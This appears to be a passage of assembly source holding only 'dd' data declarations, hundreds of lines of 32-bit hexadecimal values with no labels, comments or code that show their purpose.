dd 880A7E22h, 0BCF23C73h, 62B3C300h, 75F70FDh, 0CDB94758h
dd 6F38339Dh, 0DE985100h, 54106DE9h, 0EE900A74h, 44AC9FD7h
dd 2E4B6009h, 22741077h, 8084C80Dh, 0E3C7089h, 0FB79A5C7h
dd 14A9733Ah, 1CA4481Dh, 0D64C7CC0h, 0B251A7h, 6408ECE7h
dd 11A9999Fh, 0D908A066h, 0E6520021h, 2E33D5ECh, 3C0A6F42h
dd 0A872B913h, 0B5AE300h, 0B08FD49Eh, 34B80739h, 5ABA965h
dd 919801E8h, 809EB44Eh, 0D7E66EC8h, 16EEAEh, 0F6B63618h
dd 11DF5BFh, 80759239h, 8F734EF1h, 9A1C76h, 70E1ACEh, 0E10DC685h
dd 0A62E3918h, 3F18091Ah, 800040D8h, 7C9C97DCh, 96F65CA5h
dd 9E14E600h, 0CA2CF94Eh, 0E3D017Ah, 0D016CDC0h, 0F69E8002h
dd 0E9A4385Ch, 7DC9000Ah, 0D191E104h, 0FBF23B71h, 2361E00h
dd 21261DDBh, 50CF00A9h, 8A73D99Ch, 70001511h, 9E5DA8C7h
dd 0EBACE5h, 0BA4DA4A3h, 0A93943BEh, 66DD3D00h, 958A497Fh
dd 3FE7679h, 963CDC01h, 6BA02A81h, 130F5A17h, 3E0BD6CEh
dd 0BD005E1Eh, 75D5B219h, 29740784h, 402F6EA1h, 34F007D2h
dd 819A6300h, 518026DCh, 97443174h, 80951450h, 31CE7A59h
dd 6D9982h, 59C9D5E1h, 368E1869h, 9F091018h, 7D95329h
dd 0C95ABE34h, 92890133h, 0BB83E964h, 27E49D21h, 84F56030h
dd 36BC3195h, 850B7211h, 0D5F42A88h, 0BEA28780h, 0CAFD13A7h
dd 0CB4B0064h, 96BD5D1Eh, 86DF0503h, 3CC6F4h, 6A162FC8h
dd 50459C2Dh, 4E054800h, 28469FBh, 7FD0072h, 0E2BDBB59h
dd 400DD85h, 0AA549C09h, 76BF962h, 89037A53h, 33E4F1A3h
dd 802FC123h, 0CF0B97B0h, 50BD6Fh, 0D30F0730h, 79F26787h
dd 3206367h, 0C7D128F0h, 0F5BD01F7h, 4D49D445h, 849143A0h
dd 0B080A9E2h, 924416AFh, 0F157AE30h, 63E6E445h, 90FFC022h
dd 3A285103h, 88C214F1h, 0D78548h, 0CCD95E9Dh, 0E4094BDFh
dd 2FEAC700h, 0C23E1E7Eh, 0BFB93826h, 47336080h, 0C422D92Dh
dd 8F529E0Fh, 0C75540A4h, 5C1AEEh, 969D6509h, 499BB792h
dd 0D9930500h, 314CB233h, 0FB101B55h, 91C03030h, 0AD18FE51h
dd 0E010540Fh, 0B08C0718h, 80C6ED67h, 77DB319Bh, 0CA638900h
dd 30B35415h, 464E0199h, 3965248Eh, 6794E049h, 7526D301h
dd 82C2663Bh, 1E6AD860h, 40AB9EB1h, 0E247BE04h, 4A00E143h
dd 52E6CC99h, 3B0263h, 67852550h, 440965EEh, 4B42A100h
dd 0D5F6F21Ch, 626F012h, 30A603F0h, 3C00B94Ah, 0DA4E59A3h
dd 3B7B1CDFh, 1630E84Fh, 0D9F9E020h, 4B9C8118h, 1EF3FEF0h
dd 8052F829h, 98037E93h, 0AD0068AFh, 41D896C6h, 0E50520h
dd 4088BC22h, 0D5F31619h, 950044F8h, 0F09FE8B0h, 67370Bh
dd 3123DEF1h, 0BD845B69h, 0C50EFDFAh, 80FEA4E5h, 23DF0DD0h
dd 5BF012h, 46E478F9h, 28D606F3h, 2A827E03h, 0F6E8EBAFh
dd 0DAD10048h, 0DD2EC0Eh, 0BD00FF74h, 5BEB7336h, 0F06A889h
dd 0E0DC55D7h, 8D1F5440h, 0B161E528h, 251A683Eh, 81D09891h
dd 0B8A15B70h, 4C13B871h, 8321000Dh, 0AADD5BA3h, 4800D18Bh
dd 0BD8137D5h, 0D8E0FA6Ah, 0D2ADC090h, 9916B637h, 32B98380h
dd 958E03C9h, 7D6ADD84h, 3BC240AFh, 0CE00DF0Eh, 96C94A61h
dd 242A910Ah, 18EDB877h, 84435150h, 9EE76705h, 0A80F8118h
dd 478CC076h, 73EA3D8Eh, 1B5C05BEh, 50F40AB6h, 9009CE8Ch
dd 1E007E84h, 39E733Eh, 0B0A0EAE8h, 0CF00B4D1h, 0C3529390h
dd 3BE6E15h, 51B8019Dh, 0AA00FE1Ah, 793D07E3h, 0F4AE345Ah
dd 0C99C00D2h, 1F86DCD8h, 9200D346h, 8A3E7EF0h, 168C85h
dd 5478BC69h, 102E0317h, 2007DE0h, 3412EE31h, 0EA30528h
dd 0F9E7D1A1h, 74F85560h, 780036D0h, 294C97D4h, 3BD375h
dd 11633A1Eh, 3E69E2C3h, 0F713B100h, 540B17B3h, 0AA7C1FD2h
dd 925A804Dh, 4B7991F4h, 0ECC9F02Ch, 30470900h, 0F240F7h
dd 20BF506h, 0C468E44h, 0B12E20C0h, 1917708h, 0AF564559h
dd 606F216Ah, 0F400AA98h, 6E1A6D5Eh, 3728967h, 0FEC72E2Ch
dd 5FA32B26h, 0AFDC5BC8h, 8F1CE239h, 80144740h, 0D3848591h
dd 1D0130FCh, 25AE5828h, 4490D402h, 80A43562h, 0BF4D00Ch
dd 0E81000D9h, 4EA28BB4h, 0DA00EF86h, 20D82D73h, 1FE809Eh
dd 41A8A6C7h, 0FCFF757Fh, 4CF016C0h, 0A0C44930h, 7185F081h
dd 2D7400D3h, 0C3471CEEh, 51077F34h, 9EDEB1C5h, 2ACA93h
dd 2D0F8278h, 93FF0658h, 0D4D19C00h, 0D2567267h, 1BCA0281h
dd 41B6A6DAh, 0B0E541E0h, 0E6B5D01h, 612FDCA4h, 0BC79C40h
dd 914F3E81h, 0D18E6C84h, 0D98BC60Ah, 0AA18C3B0h, 4910129Eh
dd 95DB0151h, 831ECFBh, 0F8A04030h, 0A400056Ch, 0D69AB004h
dd 3F3B4DFFh, 0C189C945h, 0F2804119h, 0DD4CE447h, 4FE81760h
dd 0A70E01h, 0E9928DEBh, 0D1F721F1h, 1BC9B91Fh, 0F2F028C0h
dd 0F63C8FDAh, 72B00227h, 0B8750C45h, 0D5C6E057h, 50660095h
dd 8EC35DDFh, 1A003BB7h, 0A8F9412Ch, 573724h, 0F3149042h
dd 0FFA004D3h, 4DD21A00h, 0A58541F5h, 0A9BE00FCh, 825B1019h
dd 5E00B4C1h, 51EC8E9Eh, 631389D7h, 0DDC41808h, 20F14BD1h
dd 48F0C5A3h, 61AD9C00h, 73FA08F7h, 857E00B6h, 63927657h
dd 0C37F100Eh, 8F179400h, 2A037EEh, 6DA21FF7h, 78E7D8F1h
dd 0C888E4A1h, 0A6AC0136h, 401F2C55h, 0A8F886F3h, 0C171D7h
dd 4B38D507h, 2DF14D3Ah, 0F61EFA03h, 0A9690B87h, 86817E75h
dd 0F9A9BC9Bh, 49B88106h, 0A8D23D79h, 0E2F32F0h, 587E400Ch
dd 56692860h, 0DE7C35CBh, 0F8077B77h, 0EFE6A3Bh, 0F7988980h
dd 0A7540E91h, 409F9765h, 99A1DA8Ch, 0DDF49FA0h, 873D8874h
dd 0CF9407B3h, 54C08C61h, 1E83AF23h, 3935C22h, 0A05D6269h
dd 16BA4002h, 60F8B871h, 3C8D5284h, 14803644h, 0A841F09Ch
dd 960CFBFEh, 40828F02h, 0EAE7B76h, 9A84F863h, 0F3336480h
dd 6B015767h, 0CC399415h, 7880A1E1h, 0CDC3BB2Ah, 0EE1DE569h
dd 920095F2h, 9AC44AE3h, 2970A4Ch, 5B2C229Bh, 94B021E8h
dd 0E5ABA8C3h, 0B1F00626h, 0C163C57Ch, 0B7A74B00h, 9D1068AAh
dd 4E2C0D93h, 0C4F86679h, 0E2051B04h, 9549B322h, 0C5449840h
dd 0E6F7D834h, 768E003Eh, 0F0D14FF6h, 0BA002183h, 8D33F431h
dd 0D8C254h, 0F984428Eh, 86931C6Dh, 0EA194B73h, 2D70289Ch
dd 2452F8C1h, 19EE2E96h, 3D8CCD20h, 2F51BEBCh, 0CA520D0h
dd 0BA81B9C0h, 7F128D23h, 89AA2451h, 7F2E028Ch, 0A4817687h
dd 0C7CBA54Ah, 7B6985E0h, 333CB000h, 0E4101858h, 190007Dh
dd 960737D9h, 0FD0013E9h, 0EC5E2A7Ah, 1435689Ch, 84692DC8h
dd 0A227EE00h, 0C079EDB5h, 2ED4A402h, 8CC77F77h, 0CE68BCh
dd 0E0C467E1h, 73060914h, 24A96500h, 0A73E6D2Eh, 0C6771FCEh
dd 79E60BA6h, 44878Ah, 0B77F3835h, 93036154h, 0BBD18414h
dd 0BFE0059Eh, 0F8A49D94h, 0B28000DAh, 0C4882A7h, 5A4702DAh
dd 0AD8E4A12h
dd 0AC811448h, 0EBE07500h, 39FBDBC0h, 0FD94013Dh, 48521501h
dd 530BB53h, 25C8147Dh, 64E414h, 68550BC5h, 7DAD0E93h
dd 0D2F694h, 43893022h, 1B2D8E96h, 1166EB30h, 0D3B972h
dd 3D8A6FE9h, 2E344F26h, 0ABCFA300h, 2A5A701Dh, 0A8D100C6h
dd 5937C9Eh, 0F90313CEh, 3F926516h, 6297EF4Eh, 5CA95A11h
dd 5D6DECh, 9287AD7h, 60D82ECh, 0C0123705h, 6BC0AD23h
dd 7EA2AD4h, 0D0C37A88h, 6139B01Bh, 0ED00E86Eh, 35C7C6B2h
dd 37EB40h, 0A49AFC11h, 30CAE0ECh, 43719100h, 0F724621Bh
dd 0F38008Ah, 7761758Bh, 0C40F4694h, 736B439Eh, 0FFAD00FBh
dd 0D863B9B2h, 6F267600h, 31EC705h, 6CD03BD9h, 4D7C3000h
dd 8516E9BBh, 0A0D7F001h, 7D4B54CBh, 0DE33288Fh, 7FED3FE0h
dd 0FC1C9FEAh, 0C680FAA8h, 0A7BE789Dh, 31CF1555h, 9B1EA8E0h
dd 9E07BA67h, 5BB78Fh, 6A1D48F0h, 55F2EA00h, 0D0ED0B42h
dd 58430086h, 0D11697ADh, 0D703E621h, 7224ABC7h, 9E19F18Ah
dd 0A1F64880h, 42DB507Bh, 16622600h, 6F08A006h, 411C2889h
dd 2E7AECE0h, 0CEA2B5h, 366D1EE3h, 5B0011AFh, 5ACC4F49h
dd 0F7EB0F4h, 960C8D72h, 6ABD2160h, 0F1000E43h, 0F54ABB44h
dd 1919809h, 33DC37FFh, 0D7E2AD18h, 0EE8EB8F8h, 0BC668C00h
dd 6594D530h, 2C6D008Ah, 55F0F3B6h, 214BDF5h, 4E05AB3h
dd 0D0DD4948h, 7919BC0h, 0CFE700A7h, 0D36388AEh, 5008595h
dd 9AB52078h, 0F52C874h, 0DBA8033Ah, 0F9623600h, 0DA00615Dh
dd 4EFBB0EBh, 322ECCh, 0D47F5285h, 1016F3A0h, 80E5452Eh
dd 3A5AA100h, 3E340FDh, 49FB60F6h, 7DB072BCh, 1F003829h
dd 0C66D68C0h, 6410F9h, 0CC6C1509h, 67A8E330h, 80AE4F3Eh
dd 71893742h, 1F0178Fh, 0ECABF80Fh, 807EBEAFh, 76FF647Eh
dd 0E1110Ch, 0A050BAA2h, 1795EC04h, 62124BFCh, 0A840059Ch
dd 78D146B5h, 0FA9A00B2h, 0A00B71EAh, 0D6008723h, 603B1C47h
dd 0A4F10Fh, 50B0E05Bh, 447DABE1h, 75B82700h, 5F249C5Ch
dd 0D0E8F7D6h, 0D4E049EDh, 200414Ch, 0F6D2F2AAh, 0A477EEC4h
dd 4B3511Fh, 153D68C0h, 57DBF0h, 3E54108Ch, 5ACBF1FBh
dd 3D892E3Dh, 4D6B00A4h, 0B76C0A79h, 247B034Eh, 0E1539AB6h
dd 0DB01F1B0h, 0C3D1424h, 95CEFD00h, 39649E74h, 0BC00FE52h
dd 37809D2Eh, 34380EF0h, 93B680E6h, 26AC2901h, 88B00A6h
dd 51C95590h, 34099F40h, 8922C83Dh, 2E005F5Ah, 4EBBF4EAh
dd 0D9FBF102h, 0E0C3CAB8h, 1DC2B48h, 137A8DA4h, 21848A75h
dd 252C4084h, 504844D7h, 0DB930064h, 0EB35925Bh, 5882004Ah
dd 0FB2A5CF6h, 7F076EBBh, 59C5A581h, 0E1F2E550h, 0A2AB00BEh
dd 94B89EE9h, 0AA1D17CCh, 80FC9AD4h, 57441D3Dh, 0E21AC38h
dd 0FA34880Ah, 0E7F39780h, 54003B85h, 0D18677ECh, 90FFB8Ch
dd 751FF1F0h, 0CEF50000h, 0A307EEDEh, 0CBACE444h, 0E6A004Eh
dd 0FB1778h, 91C550EDh, 33DDD06h, 0E4879900h, 1A2B62B3h
dd 40100EEh, 827039A4h, 0DAE0A2F3h, 0A6C3D500h, 0D667E61Eh
dd 989763D7h, 39D87B1Dh, 0DE0163AAh, 0F7FD07B9h, 1187DF12h
dd 10040D5Fh, 5C9DDAE2h, 0DDE7CB1Fh, 7B184000h, 0FF3CFF0h
dd 6EAFCE91h, 8025A047h, 363BAC6Ah, 0EB427900h, 92F2B246h
dd 0F61F0170h, 51D40B0Fh, 304AC9FEh, 2424793Ch, 0BE07D887h
dd 5710C578h, 903CF975h, 0E7FA0114h, 16EB63A7h, 5102030h
dd 0DD62F61Eh, 1AC081BCh, 0A0568210h, 4123830h, 0F314A8D9h
dd 9674C0FCh, 0D4492291h, 4D084898h, 0DC680210h, 63C5E63Fh
dd 8059FF61h, 2802BF0Ch, 0DE6F0288h, 0B6EAD20Ch, 2D3D5044h
dd 473780D0h, 2F98FC46h, 67000FAh, 25247166h, 0DB01E2E4h
dd 0EF0CE175h, 0D8244C87h, 408886D1h, 8712CD76h, 9443A235h
dd 0D0A07053h, 531A4E9h, 4C179D93h, 0C6E4079Bh, 6C1BD03Ah
dd 3EE6E536h, 58EE030Fh, 8C0240BCh, 6E91C3h, 0A4AD78BFh
dd 421F86C2h, 70123500h, 4DBD3B66h, 0C86D0E82h, 0E7A7D2A2h
dd 3EA4E059h, 6501C66Ah, 8B1BF1F9h, 0CFF49C6Fh, 0B9F5043Bh
dd 0C144815Ah, 242F8E0Ch, 0DDE4EFCCh, 0D45FAC01h, 55067684h
dd 0B43FC8D7h, 49E900AEh, 165AF298h, 0D600F42Bh, 88D5557Dh
dd 98D131DAh, 0A4A80EF1h, 0A0E0031Dh, 443BFF22h, 20172100h
dd 0EBBFEE27h, 7BD001Ch, 0CB8AC248h, 0F1008CE4h, 42643C68h
dd 30FAE2h, 0D3EEE6ADh, 61111BE3h, 0D6CD160Ah, 7800AC1Fh
dd 1AA2BCA8h, 6608012Eh, 161C170Ah, 0C9E450ABh, 2C9044E4h
dd 88003677h, 7EF002C4h, 36E1704h, 7595E767h, 57D827A5h
dd 7D2CFE31h, 0E080905Fh, 5935D6B3h, 5BD48FAh, 23FEA204h
dd 7DA0D0EBh, 9200A8E8h, 7B021748h, 0DAC813h, 0DC35105Bh
dd 0BE9D4442h, 2F8F2B13h, 5A4BC061h, 37D4E300h, 92CF5000h
dd 0D19A1BD9h, 532700B1h, 0A8D57DF5h, 0A700A50Fh, 94228D59h
dd 24C720D2h, 602CAFC6h, 63AB0946h, 0E9AC3200h, 0FB9B4781h
dd 0AAA03B0Dh, 531ED980h, 64612CD1h, 0A4E32A1Fh, 5F01DEAEh
dd 0AB27715Eh, 398797ECh, 0C980E288h, 0F22E2803h, 3BF2CFBCh
dd 61DF271Ch, 0C3E39DBCh, 30C17083h, 40CDF229h, 405A2Ch
dd 25EE9014h, 0CBA2E891h, 0F17C3DE0h, 95291E00h, 0F74BCFBFh
dd 0E2F27Dh, 0B833761Ah, 942DB287h, 0F37FE500h, 1302EFA0h
dd 8A5300D4h, 0FFC3056Eh, 32000674h, 0CC01A470h, 717584D0h
dd 0DCD81439h, 2F2CBCA7h, 8A32D8A0h, 0E0082485h, 0A249196Dh
dd 0DB0E6414h, 0FCCE01C0h, 3CA2947h, 52011466h, 0B2A01DECh
dd 0D4246195h, 8824C1E0h, 69001449h, 0E4F8C2Bh, 0CCA103D4h
dd 0CDEC7744h, 0B8A87900h, 5A6D3C41h, 20246A19h, 1F801D48h
dd 0A64FC905h, 204884A0h, 0F217E9B1h, 0E046771h, 8880E2C9h
dd 7E0A6F0h, 98C2D10Ch, 0DCE9106Dh, 900A4BBh, 0A3F5126h
dd 935D2EDh, 6D0B9E05h, 14490480h, 0BD032D9Ah, 0B642A22Ah
dd 0ED5EA89Bh, 13960EDAh, 0F8B8CF34h, 0F3F2F9DFh, 0A5282B60h
dd 5A66EDh, 0E4EF22E2h, 8D952508h, 38920E00h, 0DA450610h
dd 86972455h, 780962A8h, 0C582BC68h, 62B8E160h, 1C7E8DBh
dd 0C2D6FBB1h, 40710739h, 616B23CCh, 0C57FEB01h, 25315FCCh
dd 5304DC33h, 9060AE02h, 6B0999C4h, 27C49B0Fh, 0E91D0FDDh
dd 74AC1671h, 0E8F1837Eh, 75CC22A7h, 0A562E700h, 9482FA24h
dd 7E9F003Fh, 0F606EA78h, 2D007DF0h, 36C9CA07h, 0D7B31Dh
dd 0D52EB4E8h, 0AFCBEB3Ah, 25462E3h, 76D2CC5Eh, 9E3CA430h
dd 0C9B04087h, 8C7948h, 12B93A95h, 0EBC074FAh, 0F4256F00h
dd 0CFF796C1h, 0B47C0FADh, 6920A344h, 3EB5C9CBh, 310223Eh
dd 65BA9015h, 0C79F98EFh, 0CAAC07FBh, 70C4F442h, 3B217B19h
dd 35C5CB00h, 0AE889F1Bh, 0D2763F2Bh, 80CCC328h, 7BEDBBh
dd 41854FF5h, 0D73CB945h, 0B4A34000h, 0E468F684h, 281F1D8Fh
dd 9103FE51h, 0A21582A5h, 327535D0h, 8E425603h, 90627F44h
dd 11E5C11h, 0B4E1672Dh, 0C4A63331h, 0FF01783Ch, 970DF7C6h
dd 0E243EE51h, 0F9928018h, 765D021Ah, 378E272Eh, 9A004058h
dd 3B0CAD3Fh, 7A0819FCh, 799E3A8Bh, 0F84DFD82h, 3051384Bh
dd 2751400h, 0EFCE054h, 1AA83644h, 0F39A5140h, 7700AECAh
dd 2AED1FB3h, 1FDBD404h, 0C6AFDD73h, 11D8F7B1h, 6F878407h
dd 0A08ED002h, 0D52D58DCh, 0A1C82619h, 0E27380E0h, 249ECBF4h
dd 6D676902h, 0C0257F6Ch, 78169DE4h, 0A4E63057h, 146D4611h
dd 0FF00ABE0h, 0C94AA954h
dd 3D5387Ch, 913445E8h, 81C0D7A2h, 3058B5Bh, 84B860B4h
dd 4FF03380h, 361409E4h, 8057E11Eh, 8B3FE201h, 8503004Ah
dd 35C7AC80h, 2F056760h, 879CDF6Dh, 0E6EF28D0h, 782B004Eh
dd 69AD969h, 0BB199076h, 1968E0EEh, 390CCCh, 444D6699h
dd 7F1E8A9Bh, 89540812h, 5DD67C81h, 0B8CB2843h, 7428EC2Ch
dd 0E5F914C9h, 0FE08144Dh, 0BB00DC7Ch, 91172F92h, 0AF5C13A0h
dd 40F71FEAh, 42F38435h, 933FE196h, 2F4F0033h, 3A5305C8h
dd 1A0C0002h, 3DA38E67h, 0D5074314h, 8E75F39h, 27407CE0h
dd 964C018Dh, 0EFDE6D31h, 1FF5D4E0h, 0CE4E3B00h, 4F7A43BBh
dd 514A00A2h, 250A2A7Dh, 0A1C09041h, 16473DC8h, 48A3006Ah
dd 83A0191Bh, 0F000FCD2h, 383513ADh, 30E559h, 32B2F4F9h
dd 4521778Dh, 9319BE01h, 96BA643h, 8E552840h, 185CF24Ch
dd 0D89C7933h, 0EA48ABA7h, 845C50DCh, 69BC7B00h, 40A939C7h
dd 0E4710C0Eh, 0F121EAFEh, 7974DA00h, 0BC33EEA6h, 34010018h
dd 0AFE1155Ch, 0EA1E13DCh, 0B10045FDh, 308E7588h, 0F2D60087h
dd 0D7DF6E37h, 1800048Fh, 5042243Bh, 1E10EB68h, 1886705h
dd 0E5CF9E7Ch, 0EE2C4D8h, 6493F3A0h, 0D898302Ah, 1B01E49h
dd 0CB05BDB9h, 0F6DBF21Ah, 0C7E700E1h, 0E1045B67h, 6C020B48h
dd 3539B85Fh, 0A5F340F0h, 0EBBD90A2h, 0E276BD30h, 9625038Ch
dd 0FBFCF343h, 5EBE6FC8h, 0C0026EAh, 71BFFAB1h, 877D21h
dd 44708337h, 13310F2h, 0D4BD4100h, 62FCF1B7h, 84D61DE0h
dd 94ED0266h, 0CEC1D216h, 9A8E20BEh, 48599D00h, 0B11E314Ch
dd 471900CEh, 0CAB814EEh, 0D7F84EF3h, 62FB5200h, 9F717B61h
dd 0C03900FEh, 530212B6h, 0ED6E1331h, 18F8E120h, 0D33AD9h
dd 16644010h, 0A9FC7A92h, 2D0C3779h, 31112360h, 8DB0BBh
dd 4857A7B9h, 101972B7h, 8F1F3498h, 91FC6B3h, 6D46019Fh
dd 18DEB5h, 99EE2BD3h, 2E150C7Dh, 144EA318h, 10BC250h
dd 0FDB90EB3h, 0C1E18112h, 36DDD013h, 723D90C3h, 2F9188B3h
dd 848F0051h, 3B95554h, 0FA0079E2h, 0FB564F5Dh, 600A8E7Fh
dd 3B93880Fh, 0C103549Fh, 0F68CD7F3h, 961581AAh, 0A9BCA8C7h
dd 79FCD0h, 0F767F75h, 7769745Bh, 92124703h, 88B6E072h
dd 744D4053h, 73C330CEh, 90BA7620h, 75933A00h, 3C40CCABh
dd 327F866h, 28CE9F8Bh, 0AB00987h, 3700678Ah, 80C1F31Fh
dd 0A25379h, 0AC7B5CD0h, 0A472366Ch, 75406618h, 542758h
dd 0E7463760h, 0F916F447h, 17181F77h, 0BF20A441h, 643A2ECFh
dd 7BDC00B6h, 0E8FB1BA9h, 19407660h, 7E91F9h, 0CD1A8E48h
dd 13433D07h, 5401B2FCh, 31D4365Dh, 7888276Bh, 5E603FACh
dd 0E6E76C37h, 101A4295h, 5526A3F0h, 3B6F0058h, 3C392CADh
dd 0D0F94306h, 1EC8C068h, 225DB73h, 27784167h, 0D8F8A480h
dd 78C15A43h, 0CF88B03Bh, 0BF86208Eh, 2979E146h, 3500977Dh
dd 569FFCCEh, 7464614Bh, 345F0148h, 79B9661Bh, 0FA207036h
dd 0B4CA5A01h, 0DEB6DCE1h, 0A45237F4h, 689D52A4h, 14775D3Fh
dd 0A4F28FE8h, 0A13DC4h, 1235827Ah, 0A61B1426h, 0BE81A023h
dd 0E0528FB9h, 400EBAEh, 727CD00Dh, 0E3A52Ah, 0AF76DC6h
dd 986E3EBEh, 0CB197407h, 21708E9Fh, 15F5DBh, 0E124B77Fh
dd 18C30F40h, 3EF7C3Ah, 3EA62577h, 6669F8F0h, 783990ECh
dd 0E09A00AFh, 1A870575h, 550E5B30h, 436C18DCh, 0A8E6268Dh
dd 3BDA5499h, 0B9965FAEh, 1F7A01B5h, 0FF94B05Dh, 68D3A1C8h
dd 86353D00h, 64C204E7h, 0FFE30036h, 2B463859h, 0ED00948Ah
dd 273F6CEAh, 0EEBBA39h, 912EF6C6h, 74FAAE0h, 4E00BCD6h
dd 0DCB5FCA7h, 0B025EF17h, 0AE362404h, 14400B6h, 4352C922h
dd 9B126F00h, 0FA8718DDh, 65982624h, 7A230000h, 0E86CA3C6h
dd 523C8000h, 7EEB515Ch, 0B2850054h, 0AE35DEFFh, 643AB157h
dd 0CEEC835Ah, 0C8668FF7h, 0E145C6h, 4698B8B0h, 7ACCED75h
dd 0A6D14107h, 0BEC0B106h, 6ABAAF2h, 568D3302h, 0BF7819E3h
dd 0D914A202h, 0E0AF3F93h, 7CCE58h, 6B06C8C2h, 0ED341013h
dd 0B00C860Fh, 0A0E1AF2Eh, 0E4F10F9Ch, 33FB0C6Ah, 0DA69A5C1h
dd 0EE227500h, 1FAA82CFh, 721040B4h, 186B5D30h, 7F788AD8h
dd 300A80ECh, 0DA4B8426h, 5477A1Fh, 15B1D1C3h, 6080FDA8h
dd 9ECCDA6Bh, 0F470D51Ch, 0CF00DE77h, 6274F149h, 135B158h
dd 30CE4A85h, 0D1AA478Ah, 2000E3B7h, 0E1B14C10h, 42AE27h
dd 25718F20h, 0F095C273h, 4DC4DCFDh, 0CAAA6300h, 5868D55Dh
dd 495A5C78h, 0CFF63800h, 0C246541Fh, 0EE424800h, 0D5EA0361h
dd 6B2100A8h, 7390F9CEh, 0C001E17h, 0FE39C8AFh, 36C1E14Fh
dd 8868A25Ah, 0E4F99401h, 0A9537732h, 302AE3DAh, 0B4215208h
dd 0D302AF90h, 98EEBC93h, 0C8E07F30h, 0C0668A0h, 0DC944A6Fh
dd 0D9DE6778h, 60DB05F8h, 0DCB10F84h, 8E28423h, 0B0045ABh
dd 8EB7B15Bh, 3480A816h, 39C0B89Dh, 430136F3h, 0B4EB6B9Fh
dd 2E4ED8C3h, 50539001h, 0A25521ABh, 0C9338880h, 0C62289CAh
dd 0BE69C0E9h, 0AF1CCE00h, 0EBB92AD5h, 18CC0C4Fh, 0FDD874B0h
dd 62FAD9F8h, 2B159A07h, 0E173C9F6h, 8240001Bh, 850ACCACh
dd 267F0130h, 80944039h, 349C4D69h, 7FB2C266h, 1D0F0024h
dd 1CAF60F1h, 831F6546h, 400F2F96h, 11CCBEB9h, 0EE91109Fh
dd 0F65E0381h, 0A6784D90h, 0CFD09EE0h, 93008E7Ch, 14B711DAh
dd 0DF847Ch, 659DAAF8h, 9F59C82Dh, 0D9245E1Eh, 0DAD79703h
dd 6156C096h, 0A2C61DFCh, 0A39B434Dh, 0AFA36385h, 0B4392116h
dd 36B93300h, 36FABF08h, 20809A0Ch, 0FE91803h, 0F5D557h
dd 0E347BE10h, 0E629FA38h, 0DB199A18h, 3E9BD08h, 0EFC096D9h
dd 75B8CE03h, 0DD90A1A8h, 0A0F01112h, 764907FFh, 73C7D7C2h
dd 0B8099C03h, 809FF571h, 89CC1C1Ah, 0F8CF7AE2h, 46E3150Eh
dd 0A40E6499h, 0C09A49FAh, 54EB6424h, 2A020000h, 6C661A5Bh
dd 848200FFh, 19D02F67h, 0B1009E09h, 878C96DFh, 0C56CD4h
dd 0D66BA298h, 8A2D3EF3h, 8FBD3Dh, 16430D03h, 0EEC7E2A4h
dd 6E2F0740h, 0A3A87FA5h, 79B0FA5Ch, 5037AEEh, 0E0EA9DC7h
dd 0F0E983D4h, 0B2AA4h, 156839C3h, 63DAD6ACh, 0F5CEBA00h
dd 7C044278h, 65E00008h, 5E8290E1h, 0B4F650E4h, 0FECB9400h
dd 0D3097BE3h, 0F3E00EF5h, 414974FBh, 0D3164DE1h, 0BC552880h
dd 48153F00h, 864984B4h, 0A42900B6h, 0ED2E726Bh, 2F008AE3h
dd 4A3DF9C2h, 1AA78E0h, 96DE5CBh, 0DC26B406h, 770025D9h
dd 7E47BF6Fh, 12E7981h, 17053C4Fh, 20CD5BB8h, 52006E82h
dd 3B3F82FBh, 0E2D2EBAh, 0D3051D40h, 0E9B8E740h, 423BE1D5h
dd 11FC80E5h, 20146D19h, 487C316Eh, 0F0DD9718h, 6C00E8FDh
dd 2C623E03h, 0DEC13Bh, 31165FE7h, 2E6F83D2h, 6896AC00h
dd 63AE4597h, 0A6D1C5Dh, 88CE86E9h, 5100D866h, 428C11A4h
dd 61E7A0h, 49C08075h, 605FA952h, 0BEF824EEh, 80AB063Dh
dd 0B2D03203h, 3C3BC758h, 1C807CB3h, 0C13D1BE7h, 9C01B67Dh
dd 0C7132847h, 5CE0E530h, 8CC01874h, 0C85E2804h, 38558h
dd 0E0A550D3h, 0D6F7EAh, 0F45816FBh, 32CBE417h, 808A212Eh
dd 3802830Ch, 0BB4D15BCh, 3817484Fh, 622302C2h, 4882B667h
dd 69014A30h, 75FCABF0h, 0BB716Fh, 778C5C80h, 0F01F368h
dd 0C85E13Fh, 507FD5CDh, 0C7B2035Eh, 1D1350DFh, 0AB201001h
dd 0A8F5B9F4h, 3AD762E8h, 0C230115Bh, 0F6715921h, 834A3900h
dd 0EFDF0725h, 40E6E679h
dd 9C18FD23h, 9EB09BBBh, 967C0083h, 81C515Fh, 0FA06864Fh
dd 0C17F0A01h, 97BF0051h, 0DB8EF9B4h, 0E00E484h, 0B52855C9h
dd 53129Ch, 602102CAh, 2FE8AC46h, 80A3C038h, 4973E508h
dd 0BED3B68h, 0C7B1D5BCh, 0AAF75A85h, 0E3887DC0h, 5E980078h
dd 0B043705h, 0BD1F2535h, 0BA3E7Ch, 0E7ADF999h, 0EC61BA0Ah
dd 73BB0002h, 2DB807E6h, 1A584682h, 2B6F00B8h, 923B2293h
dd 5A1600DCh, 83C26770h, 0D3001A0Dh, 3426CFA8h, 6B028Fh
dd 2193A5A0h, 5E2B4A43h, 0D1BC4100h, 6F62C2B3h, 30017BFFh
dd 82861E90h, 61011C68h, 58CB4C95h, 0CF6F6Ah, 0E6540210h
dd 550D764Eh, 8C32C600h, 169519Ah, 9F920047h, 2FF34D8h
dd 39000E4Dh, 0B11ECBCAh, 0A0CED0h, 986B8F8Bh, 4CC5EF0h
dd 0DA46D600h, 5BBE50A7h, 1F13A25h, 0C278F484h, 8D00FB89h
dd 0ED3563A2h, 0F8BFFC8Eh, 190C00DEh, 14E093D4h, 64001C58h
dd 885BE954h, 8C33EBh, 8763228Eh, 62ABBAC7h, 50B21F00h
dd 32DD454h, 0E31A004Dh, 0EBA447ADh, 15049B69h, 0E2A20296h
dd 8FE0ADC7h, 0C11B8E25h, 0C85C0FF0h, 0BBA08D63h, 80F04036h
dd 0AAAF3193h, 0DD137C60h, 0D9598402h, 8F083BD2h, 889B9E60h
dd 0CA251092h, 0F1A8820Dh, 1A80FB8h, 22B34F42h, 0A110892Fh
dd 133F40EAh, 1A04422h, 91B317AEh, 8597625h, 80BBF8FCh
dd 494585CEh, 9B102DF5h, 0C9880328h, 0A788405Ah, 22955B22h
dd 122113D2h, 6673284Ch, 98EA58BDh, 656359C0h, 607CA9A3h
dd 5B0EB197h, 6060F623h, 76BB7F50h, 0ED920016h, 0DD1DDF6Ch
